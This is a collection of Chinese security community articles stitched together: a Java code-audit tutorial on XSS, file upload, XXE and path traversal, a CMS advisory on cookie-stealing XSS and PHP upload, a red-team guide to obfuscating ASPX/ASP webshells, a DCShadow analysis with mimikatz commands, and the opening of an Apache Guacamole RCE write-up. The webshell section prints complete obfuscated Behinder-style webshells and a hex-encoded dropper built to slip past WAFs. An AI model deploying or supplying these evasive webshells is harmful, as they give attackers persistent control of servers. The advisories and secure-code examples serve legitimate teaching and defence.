//将cookie中的XSS展示到页面中
这里的存储型XSS是存储到cookie中 正常网站的存储型XSS一般都是存储到数据库中
反射型XSS图示：
存储型XSS图示：
### ofcms 1.1.3版本文章评论功能存在XSS
漏洞存在处：
`ofcms-admin\ofcms-api\src\main\java\com\ofsoft\cms\api\v1\CommentApi.java`
save方法中 将值传入params中 并且添加评论者的ip地址之后 直接保存到数据库中
通过跟踪`Db._getSqlPara_`方法和`Db._update_`方法 并未发现其对评论者的评论进行任何过滤
payload：<script>alert(1)</script>
### Security code
写入一个替换特殊符号的方法
public static String safe(String xss) {
return encode(xss);
}
private static String encode(String origin) {
origin = StringUtils.replace(origin, "&", "&");
origin = StringUtils.replace(origin, "<", "<");
origin = StringUtils.replace(origin, ">", ">");
origin = StringUtils.replace(origin, "\"", """);
origin = StringUtils.replace(origin, "'", "'");
origin = StringUtils.replace(origin, "/", "/");
return origin;
//将各个符号进行替换
}
}
替换符号只是一种方法
或者可以检测不合法的符号，如果字段里存在不合法的符号就返回此字段不合法。
public static String safe(String xss) {
if (code(xss)=="false"){
System.out.println("参数不合法");
}
}
private static String code(String origin){
if (origin.contains(""+'&')||origin.contains(""+'<')||origin.contains(""+'>')||origin.contains(""+'&')||origin.contains(""+'"')){
return "false";
}
return "true";
}
这只是这个想法的简单实现，对特殊符号的过滤都没写全
## 文件上传
### Demo
public String singleFileUpload(@RequestParam("file") MultipartFile file,
RedirectAttributes redirectAttributes) {
if (file.isEmpty()) {
// 赋值给uploadStatus.html里的动态参数message
redirectAttributes.addFlashAttribute("message", "Please select a file to upload");
return "redirect:/file/status";
}
try {
// Get the file and save it somewhere
byte[] bytes = file.getBytes();
Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());
Files.write(path, bytes);
redirectAttributes.addFlashAttribute("message",
"You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'");
} catch (IOException e) {
redirectAttributes.addFlashAttribute("message", "upload failed");
logger.error(e.toString());
}
return "redirect:/file/status";
}
可以看到就是正常上传
可以上传任何文件 没有任何过滤之类的
### security code
判断文件后缀是否为白名单 文件类型是否在黑名单中（或者在文件类型中也做一个白名单）
public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception {
if (multifile.isEmpty()) {
return "Please select a file to upload";
}
String fileName = multifile.getOriginalFilename();
String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名
String mimeType = multifile.getContentType(); // 获取MIME类型
String filePath = UPLOADED_FOLDER + fileName;
File excelFile = convert(multifile);
// 判断文件后缀名是否在白名单内 校验1
String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
boolean suffixFlag = false;
for (String white_suffix : picSuffixList) {
if (Suffix.toLowerCase().equals(white_suffix)) {
//转为小写 和白名单中的后缀进行对比
suffixFlag = true;
break;
}
}
if (!suffixFlag) {
logger.error("[-] Suffix error: " + Suffix);
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}
// 判断MIME类型是否在黑名单内 校验2
String[] mimeTypeBlackList = {
"text/html",
"text/javascript",
"application/javascript",
"application/ecmascript",
"text/xml",
"application/xml"
};
for (String blackMimeType : mimeTypeBlackList) {
// 用contains是为了防止text/html;charset=UTF-8绕过
if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {
logger.error("[-] Mime type error: " + mimeType);
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}
}
// 判断文件内容是否是图片 校验3
boolean isImageFlag = isImage(excelFile);
deleteFile(randomFilePath);
if (!isImageFlag) {
logger.error("[-] File is not Image");
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}
try {
// Get the file and save it somewhere
byte[] bytes = multifile.getBytes();
Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());
Files.write(path, bytes);
} catch (IOException e) {
logger.error(e.toString());
deleteFile(filePath);
return "Upload failed";
}
logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);
logger.info("[+] Successfully uploaded {}", filePath);
return String.format("You successfully uploaded '%s'", filePath);
}
private void deleteFile(String filePath) {
File delFile = new File(filePath);
if(delFile.isFile() && delFile.exists()) {
if (delFile.delete()) {
logger.info("[+] " + filePath + " delete successfully!");
return;
}
}
logger.info(filePath + " delete failed!");
}
/**
* 为了使用ImageIO.read()
*
* 不建议使用transferTo，因为原始的MultipartFile会被覆盖
* https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file
*/
private File convert(MultipartFile multiFile) throws Exception {
String fileName = multiFile.getOriginalFilename();
String suffix = fileName.substring(fileName.lastIndexOf("."));
UUID uuid = Generators.timeBasedGenerator().generate();
randomFilePath = UPLOADED_FOLDER + uuid + suffix;
// 随机生成一个同后缀名的文件
File convFile = new File(randomFilePath);
boolean ret = convFile.createNewFile();
if (!ret) {
return null;
}
FileOutputStream fos = new FileOutputStream(convFile);
fos.write(multiFile.getBytes());
fos.close();
return convFile;
}
/**
* Check if the file is a picture.
*/
private static boolean isImage(File file) throws IOException {
BufferedImage bi = ImageIO.read(file); //读取图片内容
return bi != null;
}
}
这一串代码很完美的解决了文件上传产生的各种问题
文件被使用UUID库随机常见一个名字 可以防止恶意文件上传被连接访问
1.通过suffixFlag来判断文件的后缀名是否处于白名单中
2.然后使用`SecurityUtil.replaceSpecialStr`方法处理一下`mimeType`，将非0-9a-zA-Z/-.的字符替换为空，然后和黑名单类型做对比
3.通过`isImage`方法 判断文件是否为图片文件
以上者三个校验 有一个无法通过就会将文件直接删除。
## XXE
XXE：XML External Entity 即外部实体从安全角度理解成XML External Entity attack
外部实体注入攻击。可以导致读取任意文件或SSRF、端口探测、DoS拒绝服务攻击、执行系统命令、攻击内部网站等。
### Demo
public String DocumentBuilderVuln01(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
// 遍历xml节点name和value
StringBuilder buf = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
}
}
sr.close();
return buf.toString();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
可以看到，没有进行过滤和防护，直接解析我们传入的XML文件，导致XXE
payload：
<?xml version="1.0" encoding="UTF-8"?>
<book id="1">
<name>Good Job</name>
<author>ol4three</author>
<year>2021</year>
<price>100.00</price>
</book>
### Security code
public String DocumentBuilderSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
db.parse(is); // parse xml
sr.close();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "DocumentBuilder xxe security code";
}
serFeature是关键，设置了过后，再解析xml时会直接报错
因为我对XXE了解不是很深刻 所以对于此漏洞的审计也是比较浅薄
对XXE有兴趣的师傅可以移步
<https://www.freebuf.com/articles/web/318984.html>
<https://blog.spoock.com/2018/10/23/java-xxe/>
## 路径遍历漏洞
### Demo
public String getImage(String filepath) throws IOException {
return getImgBase64(filepath);
}
private String getImgBase64(String imgFile) throws IOException {
logger.info("Working directory: " + System.getProperty("user.dir"));
logger.info("File path: " + imgFile);
File f = new File(imgFile);
if (f.exists() && !f.isDirectory()) {
byte[] data = Files.readAllBytes(Paths.get(imgFile));
return new String(Base64.encodeBase64(data));
} else {
return "File doesn't exist or is not a file.";
}
}
对路径参数没有进行任何过滤。简单的判断传入的路径参数存不存在，然后将文件内容base64加密返回。
### Security code
public String getImageSec(String filepath) throws IOException {
if (SecurityUtil.pathFilter(filepath) == null) {
logger.info("Illegal file path: " + filepath);
return "Bad boy. Illegal file path.";
}
return getImgBase64(filepath);
}
public static String pathFilter(String filepath) {
String temp = filepath;
// use while to sovle multi urlencode
while (temp.indexOf('%') != -1) {
try {
temp = URLDecoder.decode(temp, "utf-8");
} catch (UnsupportedEncodingException e) {
logger.info("Unsupported encoding exception: " + filepath);
return null;
} catch (Exception e) {
logger.info(e.toString());
return null;
}
}
if (temp.contains("..") || temp.charAt(0) == '/') {
return null;
//对url传入的参数进行判断
}
return filepath;
}
可以看到`pathFilter`方法对URL传入的路径参数进行判断 ，但是判断并不完全，只是一个示例，应该根据实际情况进行改变，比如系统
Linux或者Windows又或者是业务逻辑情况，进行自定义的更改。
如果是Linux系统应该禁用`/ , ..`
`temp.contains("..") || temp.contains("/")`
Windows系统应该禁用`: , .. , c , d , e, /` 防止切换不同盘符进行文件读取
`temp.contains("..") || temp.contains("/") || temp.contains(":")
||temp.charAt(0) == "c" ...`
## 参考
[java-sec-code](https://github.com/JoyChou93/java-sec-code) | 社区文章 |
## 0x00产品介绍
## 影响产品/版本：
#### 极致CMS
> =>v 1.5 <=v 1.7
>
> #### 厂商目前已修复
>
> [见官网更新](http://www.jizhicms.cn "见官网更新")
## 0x01测试过程：
#### 漏洞名称：存储xss，前台打后台管理员cookie
### 黑盒过程：
首先我们在后台创建一个允许用户发布文章的栏目
前台发表文章，xss在标题位置
来到后台，点开标题，成功弹框
成功执行与存储
打COOKIE试试，成功获取cookie
成功获取cookie，因为是本地演示的，所以就不用xss平台来打了
### 白盒过程：
根据一路追踪
发现`目录A`是网站目录的`后台文件`，后端文件审计没问题
来看看`前端文件tql`
代码审计发现是问题出现在前端文件`article-list.html`内的问题
`191行` 这里这里没有实体化编码导致的后台存储xss漏洞
输出函数未经过滤没有实体化编码
}
,cols: [[ //表头
{field: 'id', title: 'ID', width:50, sort: true, fixed:'left'}
,{type:'checkbox'}
,{field: 'orders', title: '排序', width: 100, edit:'text',sort: true}
,{field: 'new_tid', title: '栏目', sort: true}
,{field: 'tuijian', title: '推荐', templet: '#tuijian'}
,{field: 'title', title: '标题', edit:'text', sort: true}
,{field: 'new_litpic', title: '缩略图',templet: '#litpic'}
{foreach $fields_list as $v},{field: '{$v['field']}', title: '{$v['fieldname']}'}{/foreach}
,{field: 'new_isshow', title: '审核',width:100, templet: '#isshow'}
,{field: 'new_addtime', title: '时间'}
{if(checkAction('Article/editarticle') || checkAction('Article/deletearticle') || checkAction('Article/copyarticle'))}
,{field: '', title: '操作',width:280, toolbar: '#rightbar', fixed:'right'}
{/if}
]]
})
文件article-list.html
修复建议 1.去掉该功能，很鸡肋。没鸟用
2.在输出函数上实体化编码
3.文章发表那块增加xss等过滤函数
#### 漏洞2：文件上传,Getshell
极致cms >=1.5 <= v1.7 版本存在直接Getshell漏洞
### 黑盒过程：
进入后台发现了一个有意思的东西后台--->系统设置--->基本设置--->高级设置<http://localhost/admin.php/Index/index.html>
这里可以设置允许前台上传文件，还可以设置文件类型，如果是加入`PHP`后缀的，结果如何？后台拿不到shell，前台不直接打了吗。
去看看前台上传点 (<http://localhost/login/index.html>) 在这里注册一个用户登录进去，点击发布文章
上传成功，右键点击访问上传的php文件
### 白盒过程：
在安装的时候，系统会默认写入一个允许上传的文件类型到数据库，再配合上允许前台上传这个功能，可直接后台修改，成功上传php文件`/install/db.php`
`INSERT INTO `jz_sysconfig` (`id`,`field`,`title`,`tip`,`type`,`data`) VALUES
('21','fileType','允许上传文件类型',
NULL,'0','pdf|jpg|jpeg|png|zip|rar|gzip|doc|docx|xlsx');`
增加`PHP后缀`到后台即可
再看前台用户上传处的检查`/Home/c/CommonController.php`
//检测是否允许前台上传文件
if(!$this->webconf['isopenhomeupload']){
$data['error'] = "Error: 已关闭前台上传文件功能";
$data['code'] = 1004;
JsonReturn($data);
}
foreach($_FILES[$file]['name'] as $k=>$v){
$pix = explode('.',$v);
$pix = end($pix);
$fileType = webConf('fileType');
if(strpos($fileType,strtolower($pix))===false){
$data['error'] = "Error: 文件类型不允许上传！";
$data['code'] = 1002;
JsonReturn($data);
}
Ok这里很明了，只与设置的允许上传类型做了对比 | 社区文章 |
əhead@深蓝实验室重保天佑战队
### 前言
在攻防场景下，比如我们常常在找到某个上传接口，第一步肯定是先测试后缀是否有限制，第二步则是测试上传的文件是否能解析，最后便确认即将要上传的webshell内容是否有拦截。这里针对webshell内容拦截这块做了记录，下面先对aspx类型和asp类型这两块展开，希望能给大家作为参考。
### 一、Aspx类型
其中aspx类型中，我们可以利用下面列出的这些特性对内容作对应的处理，以达到免杀的目的
1、unicode编码
2、空字符串连接
3、<%%>截断
3、头部替换
5、特殊符号@
6、注释
##### 1.unicode编码
例如"eval"他可以变为\u0065\u0076\u0061\u006C
那么如下例子可以转换为：
<%@ Page Language="Jscript"%><%\u0065\u0076\u0061\u006c(@Request.Item["hello"],"unsafe");%>
在JScript的情况下它不支持大U和多个0的增加，但是在c#的情况下，是可以支持大U和多个0的增加。
##### 2、空字符串连接
unicode是支持在aspx里进行的，同样的，它也支持asmx和ashx，估计这类特性都是通用的。并且在unicode有一类字符叫做零宽连字符(全称zero
width joiner)。
在函数字符串中插入这些字符都不会影响脚本的正常运行，在测试前需要注意该类字符插入的位置，否则插入错误的地方会产生报错
\u200c
\u200d
\u200e
\u200f
除了上面的zero width joiner，还有一种unicode编码叫做零宽不折行空格，也就是如下几种字符，都支持在字符间进行拼接
\ufeff
\u202a
\u202b
\u202c
\u202d
\u202e
例子：
<%c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth);%>
##### 3、使用<%%>语法
将整个字符串与函数利用多个<%%>进行分割
<%@ Page Language="Jscript"%><%\u0065\u0076\u0061\u006c%><%(Request.%>
##### 4、头部免杀
该字段可以放在后面，不一定要放前面
<%@Page Language="csharp"%>
<%@ Page Language="Jscript"%>
<%@Page Language=JS%>
<% @language="Csharp" %>
##### 5、使用符号
可以添加@符号但是不会影响其解析
<%.@CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key))%>
##### 6、注释插入
<%/*TreeObject*/./*TreeObject*/GetBytes(Session[0] + ""),%>
##### 7、花括号和分号
{}和分号;在原本语法结束的地方可以添加大量的该类混淆，不会影响其原本的解析
<% @page language=c#%>;;;;;;;;;;;;;;;;;;;;
<%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b");{{{}}} byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);{{{;}}} Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);;;;;;;;;;;;;;;;;;;;;%>
##### 8、aspx别的声明标签
在php中，解析引擎可以认识
1、XML标记风格
<?php
echo "XML 标记风格"；
?>
2、脚本风格
<script language='php'>
echo "脚本风格"；
</script>
3、简短标记风格
<?
echo "简短标记风格"；
?>
注意php.ini中的short_open_tag 选项必须为on
4、ASP标记风格
<%
echo '这是asp标记风格'
%>
注意php.ini中的asp_tags 选项必须为on
aspx中也有类似的标签风格，如下：
<% @language="C#" %>
<%Response.Write("hello");%>
<script language=csharp runat=server>
void page_load(){Response.Write("hello");}
</script>
##### 9、换行特性
##### 10、c#的 ///特性和xml
c#规定了/// 能够在aspx中作为xml语法的注释，那么在实际使用中，我们结合换行、unicode特性可以这样做，在如下内容中加入///充当注释：
<%
@
language
=
c#
%>
<%
@Import
Namespace="System.Reflection"%>
<%Session.Add("k",
//////@#@!#!@#!@#!@#!@#!@#!@#
"e45e329feb5d925b"); byte[]
//////@#@!#!@#!@#!@#!@#!@#!@#
k = Encoding.Default.GetBytes(Session[0] + ""),
//////@#@!#!@#!@#!@#!@#!@#!@#
c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth);
//////@#@!#!@#!@#!@#!@#!@#!@#%>
那么这时我们综上所说到的这些特性，对冰蝎马进行免杀处理，可以得到如下内容：
<%@Import Namespace="System./*TreeObject*/\U00000052\U00000065\U00000066\U0000006C\U00000065\U00000063\U00000074\U00000069\U0000006F\U0000006E"%>
<%\U00000053\U00000065\U00000073\U00000073\U00000069\U0000006F\U0000006E/*TreeObject*/.\U00000041\U00000064\U00000064("k","e45e329feb5d925b"); %>
<%byte[] k = \U00000045\U0000006E\U00000063\U0000006F\U00000064\U00000069\U0000006E\U00000067/*TreeObject*/./*TreeObject*/Default%>
<%/*TreeObject*/./*TreeObject*/\U00000047\U00000065\U00000074\U00000042\U00000079\U00000074\U00000065\U00000073(\U00000053\U00000065\U00000073\U00000073\U00000069\U0000006F\U0000006E[0] + ""),//////@#@!#!@#!@#!@#!@#!@#!@#%>
<%c = \U00000052\U00000065\U00000071\U00000075\U00000065\U00000073\U00000074/*TreeObject*/./*TreeObject*/\U00000042\U00000069\U0000006E\U00000061\U00000072\U00000079\U00000052\U00000065\U00000061\U00000064/*TreeObject*/(Request.ContentLength);//////@#@!#!@#!@#!@#!@#!@#!@#/*TreeObject*/%>
<%Assembly/*TreeObject*/./*TreeObject*/@\U0000004C\U0000006F\U00000061\U00000064(new System./*TreeObject*/Security%>
<%./*TreeObject*/@\U00000043\U00000072\U00000079\U00000070\U00000074\U0000006F\U00000067\U00000072\U00000061\U00000070\U00000068\U00000079.\U00000052\U00000069\U0000006A\U0000006E\U00000064\U00000061\U00000065\U0000006C\U0000004D\U00000061\U0000006E\U00000061\U00000067\U00000065\U00000064()%>
<%./*TreeObject*/@\U00000043\U00000072\U00000065\U00000061\U00000074\U00000065\U00000044\U00000065\U00000063\U00000072\U00000079\U00000070\U00000074\U0000006F\U00000072(k, k)%>
<%./*TreeObject*/@\U00000054\U00000072\U00000061\U0000006E\U00000073\U00000066\U0000006F\U00000072\U0000006D\U00000046\U00000069\U0000006E\U00000061\U0000006C\U00000042\U0000006C\U0000006F\U00000063\U0000006B(c, 0, c.Length))%>
<%./*TreeObject*/\U00000043\U00000072\U00000065\U00000061\U00000074\U00000065\U0000202c\U00000049\U0000006E\U00000073\U00000074\U00000061\U0000006E\U00000063\U00000065/*TreeObject*/%>
<%(/*TreeObject*/"U"/*TreeObject*/%>
<%)%>
<%./*TreeObject*/\U00000045\U00000071\U00000075\U00000061\U0000006C\U00000073(this);{{{;}}}%>
<% @language="CSHARP" %>
同理，哥斯拉等其他的也可以按照这种方法作免杀处理。
### 二、ASP类型
可通过变量赋值替换，组合换行的方式进行免杀
比如常见的一句话通过变量赋值替换，即可免杀D盾
<%dim a(5)%><%a(0) = request("404")%><%b = LTrim(a(0))%><%response.write("hello")%><%eXecUTe(b)%>
那么下面我们就可以利用这两个特性对冰蝎马进行免杀处理，同样得到如下内容：
<%Response.write("Welcome,This is a TestPage")%><%dim a(5)%><%Response.CharSet = "UTF-8"%> <%k="3b0c14770e6bd663" %><%Session("k")=k%><%size=Request.TotalBytes%><%content=Request.BinaryRead(size)%><%For i=1 To size%><%x=ascb(midb(content,i,1))%><%y=Asc(Mid(k,(i and 15)+1,1))%><%result=result&Chr(x Xor y)%><%a(0)=result%><%b = LTrim(a(0))%><%Next%>
<%
<!-- exEcUTe(b)
-->
%>
**ps：再补充一个之前在xx项目测试中，利用中间马的方式绕过waf写入webshell，大概原理就是先上传一个写文件功能的，利用该功能再往目标服务器写入webshell。**
往当前目录写入TypeError.asp，文件内容为<%response.write("hello")%>
Server.CreateObject(\"Scripting.FileSystemObject\").OpenTextFile(Server.MapPath(\"TypeError.asp\"),2,True).WriteLine(HexToStr("3c25726573706f6e73652e7772697465282268656c6c6f2229253e"))
其中我们再定义两个函数用于混淆
Function JXMD(MM):
MM = Split(MM,"-")
For x=0 To Ubound(MM)
JXMD=JXMD&Chr(MM(x))
Next
End Function
Function HexToStr(ByRef strHex)
Dim Length
Dim Max
Dim Str
Max = Len(strHex)
For Length = 1 To Max Step 2
Str = Str & Chr("&h" & Mid(strHex, Length, 2))
Next
HexToStr = Str
End function
ok，接下来我们再做一下数据处理
最后可以得到如下内容：
<%
<!-- Function JXMD(MM):
MM = Split(MM,"-")
For x=0 To Ubound(MM)
JXMD=JXMD&Chr(MM(x))
Next
End Function
Function HexToStr(ByRef strHex)
Dim Length
Dim Max
Dim Str
Max = Len(strHex)
For Length = 1 To Max Step 2
Str = Str & Chr("&h" & Mid(strHex, Length, 2))
Next
HexToStr = Str
End function
eXecUTe(JXMD("83-101-114-118-101-114-46-67-114-101-97-116-101-79-98-106-101-99-116-40-34-83-99-114-105-112-116-105-110-103-46-70-105-108-101-83-121-115-116-101-109-79-98-106-101-99-116-34-41-46-79-112-101-110-84-101-120-116-70-105-108-101-40-83-101-114-118-101-114-46-77-97-112-80-97-116-104-40-34-84-121-112-101-69-114-114-111-114-46-97-115-112-34-41-44-50-44-84-114-117-101-41-46-87-114-105-116-101-76-105-110-101-40-72-101-120-84-111-83-116-114-40-34-51-99-50-53-55-50-54-53-55-51-55-48-54-102-54-101-55-51-54-53-50-101-55-55-55-50-54-57-55-52-54-53-50-56-50-50-54-56-54-53-54-99-54-99-54-102-50-50-50-57-50-53-51-101-34-41-41"))
-->
%>
同样也是具有免杀效果的
这里可以看到访问02.asp成功往目标服务器当前目录写入预先内容的TypeError.asp
利用这种方式，我们便可以绕过waf往目标写入webshell，从而获取服务器权限。
同理，aspx类型的也可以利用这种方式尝试绕过waf写入对应的webshell。 | 社区文章 |
# DCShadow攻击技术分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2018年1月24日，[Benjamin
Delpy](https://twitter.com/gentilkiwi)（神器Mimikatz的作者）和[Vincent Le
Toux](https://twitter.com/mysmartlogon)在[BlueHat
IL](http://www.bluehatil.com/)会议期间公布了针对域活动目录的一种新型攻击技术“[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)”。利用该技术，在具备域管理员权限条件下，攻击者可以创建伪造的域控制器，将预先设定的对象或对象属性复制到正在运行域服务器中，DCSync从域服务器复制出东西，[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)是将数据复制至域服务器。Luc
Delsalle对这种技术进行了验证和详细的描述，并就红蓝对抗中蓝队对抗此种攻击技术的缺陷和补救方法。
本文首先分析[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)的攻击原理，其次实验重现攻击过程和中间非常痛苦的插曲，最后探讨了该技术在网络攻击中的应用场景。
## 0x01 实验环境
域服务器Windows 2016 R2 EN,主机名Win2016-DC01，运行域adsec.com；域内主机Windows 7 x86
CN，主机名Win7X86cn04。
## 0x02 DCShadow攻击原理
根据Luc Delsalle的描述，DCShadow的攻击过程包括3主要个步骤：
* 在目标域的AD活动目录注册一个伪造的DC中；
* 使伪造的DC被其他的DC认可，能够参与域复制；
* 强制触发域复制，将指定的新对象或修改后的对象属性同步复制到其他DC中；
下面将分3个小节逐个介绍。
## 0x03 注册伪造的DC
一台机器要想注册成为域中的一台DC服务器，需要在域的活动目录中注册一个NTDS-DSA（nTDSDSA）类对象。注册的位置为CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=adsec,DC=com，如图所示。
图中adsec.com域有3台域服务器，分别是LABDC01、RESDC01及WIN2016-DC01，标红的正是我们实验环境的域服务器。我们测试的机器为Win7X86cn04，测试成功的则会生成一个新的NTDS-DSA（nTDSDSA）类对象，如下图所示。这里需要说明的是，工具本身测试成功后，不会留下这些，这里为了表述更清晰，对工具源码稍作了改动，将注册的结果保留了下来，以便大家分析。
需要注意的是，不能通过LDAP协议创建nTDSDSA对象，而是RPC方法。
查看CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=adsec,DC=com的安全描述符，可知必须有域管理员权限才具备写权限，如下图。所以发动DCShadow攻击首先必须具备域管理员权限，但是我们可以通实验，做点手脚，就会好办一些，例如将完全权限赋予普通用户，则普通用户也可以修改，如下面的第二张图。这是后门的另外一种方式，将来会对这类后门进行系统的介绍。
DCShadow工具通过如下方式进行注册，图中绿色部分进行了稍微的修改。
## 0x04 注册的DC被其他DC认可，能够参与域复制
一个刚注册的DC要想被域中其他DC认可，能够参与域复制，需要满足3个条件：
* 这台伪造DC具备认证凭证，能认证到域，即有域内账号，可以使用机器账号，实验环境中为WIN7X86CN04$；
* 伪造DC能认证其他DC来访问的账号，如果我们给WIN7X86CN04$添加SPN，则可以实现这一点。关键是需要添加哪些SPN，DCShadow的一个大贡献是找到了SPN的最小合集，只需要2个即可：DRS服务（GUID为E3514235–4B06–11D1-AB04–00C04FC2DCD2）和GS（Global Catalog）服务，如下图。
* 运行DRS服务，最少需要实现IDL_DRSBind、IDL_DRSUnbind、IDL_DRSGetNCChanges、IDL_DRSUpdateRefs这4个RPC接口，以便其他DC能够通过RPC获取需要复制的数据。Mimikatz工具的最新版已经集成了这4个接口。
## 0x05 强制立即发起域复制
通常负责域复制和同步的进程是KCC进程，默认时间是15分钟校验一次，如果需要复制则发起；也可以使用Windows域服务器自带的系统工具repadmin
，该工具会调用DRSReplicaAdd 函数接口强制立即发起域复制，DCShadow正是通过调用DRSReplicaAdd
函数强制立即发起域复制，如下图。
## 0x06 实验重现
上图是实验结果，标红位置表示一个对象被成功复制。DCShadow攻击需要2个进程，一个进程必须是系统权限，用来运行RPC服务，以便其他DC能够访问RPC获取需要复制的数据，所以在本地管理员权限下，先运行命令“!+”以加载Mimikatz的驱动，接着运行命令“!processtoken”提升至系统权限，然后运行命令“lsadump::dcshadow
/object:dcshadowTestUser /attribute:displayname /value:”Shadow Evil
User””，用来修改域内账号dcshadowTestUser的显示名称。
接着启动第二个进程，为域管理员权限，或者第0x03节中提到的具备Servers对象完全控制权（或写权限）的用户权限，执行命令“sadump::dcshadow
/push”，进行真正的注册和数据复制。
## 0x07 折磨人的插曲
实验环境中忘了一个小细节，导致实验总是不成功，而工具始终没有报错，所以不得不分析dcshadow的源码，花了3个晚上逐行分析，才最终找到原因—–测试所在的Win7x86cn04这台主机的防火墙服务是启动的，所以域服务器不能通过RPC访问获取需要复制的数据。
经过分析，发现mimikatz工具没有报错的原因是代码里一个宏定义有瑕疵，宏定义如图所示。
上面的宏定义中NTSTATUS的定义是有符号的LONG类型，所以没有问题。但是实际上Mimikatz定义和调用的很多函数返回的Status是无符号类型的，成功表示0，失败返回大于0的值，这时候使用NT_SUCCESS(Status)作为结果判断时，始终是正确的，这才是导致Mimikatz一直没有报错的原因，已经将这个小瑕疵邮件给了[Benjamin
Delpy](https://twitter.com/gentilkiwi)本人，暂时未回复。
对工具的源码进行了稍微的改动，如下图，在调用IDL_DRSReplicaAdd强制发起复制后的NT_SUCCESS(Status)判断之后，加了一个输出，得到了下面第二张图的输出结果。
上面这张图中的0x6ba错误为“RPC
服务器不可用”，0x2104错误为“命名上下文要被删除或没有从指定的服务器上复制”，这个报错立马联想到是否开了防火墙，果不其然是开的。关掉后，重新测试，一马平川，积压三天的郁闷之气一扫而光。
## 0x08 结果分析
DCSHadow是在微软BlueHat上发布的，用于红蓝对抗，目的主要在于躲避SIEM的日志监控分析。在我们的测试环境中域服务器上产生了大量的日志，如下面几张连续的图。
从上面的日志截图可以看出，DCShadow的动作都在监控中，之所以会是这个效果，因为此前做其他的防御监测实验时，把日志策略中的一个开关打开“Local
Computer Policy -> Computer Configuration -> Windows Settings -> Security
Settings -> Advanced Audit Policy Configuration -> Account Management -> Audit
Security Group Management”，以及对象变更的日志策略也加入审计范畴。Luc
Delsalle的文章中也提到了这一点。默认情况下，这些策略都是不打开的，所以从这个角度来说，DCShadow的红蓝对抗效果还是比较明显的。
## 0x09 DCShadow的作用
从DCShadow目前展示的功能来看，主要只能用于红蓝对抗的隐蔽后门。但是DCShadow第一次澄清和实现了伪造一个DC的最小需求合集，这个贡献非常大。以前很多攻击方法都卡在不能伪造域服务器，例如MS15-011和MS15-014等，有了DCShadow的基础，相信将来会有很多新的攻击方法。
## 参考文献：
[1] <https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf>
[2] [https://blog.alsid.eu/dcshadow-explained-4510f52fc19d
](https://blog.alsid.eu/dcshadow-explained-4510f52fc19d)
译文链接：<https://www.anquanke.com/post/id/96704> | 社区文章 |
**作者：Eyal Itkin
原文链接：<https://research.checkpoint.com/2020/apache-guacamole-rce/>
翻译：知道创宇404实验室 **
## 概述
在许多公司，日常工作包括每天到办公室在公司计算机上安全地使用公司内网。有时，员工可能需要特殊的异地访问，并使用工具远程连接到公司的网络。
然而，自从 **COVID-19** 大流行爆发以来，这种日常工作已经发生了逆转。在 **Check Point**
，与世界各地许多其他的公司一样，现在绝大多数工作都是远程完成的。这种从现场工作到异地工作的转变意味着现在比以往任何时候都更多地使用用于远程连接到公司网络的
IT 解决方案。这也意味着这些解决方案中的任何安全漏洞都会产生更大的影响，因为公司依靠这项技术来保持其业务正常运转。
**Apache Guacamole** 是一种流行的远程工作基础架构，在全球的 **docker** 下载量超过 **1000**
万次。在我们的研究中，我们发现 **Apache Guacamole** 容易受到几个关键的反向 **RDP** 漏洞的攻击，并且还受到
**FreeRDP** 中发现的一些新漏洞的影响。简而言之，这些漏洞允许已经成功入侵组织内部计算机的攻击者在毫无戒心的工作人员尝试连接到受感染的计算机时对
**Guacamole** 网关发起攻击。然后黑客可以完全控制服务器，并拦截和控制所有其他连接的会话。
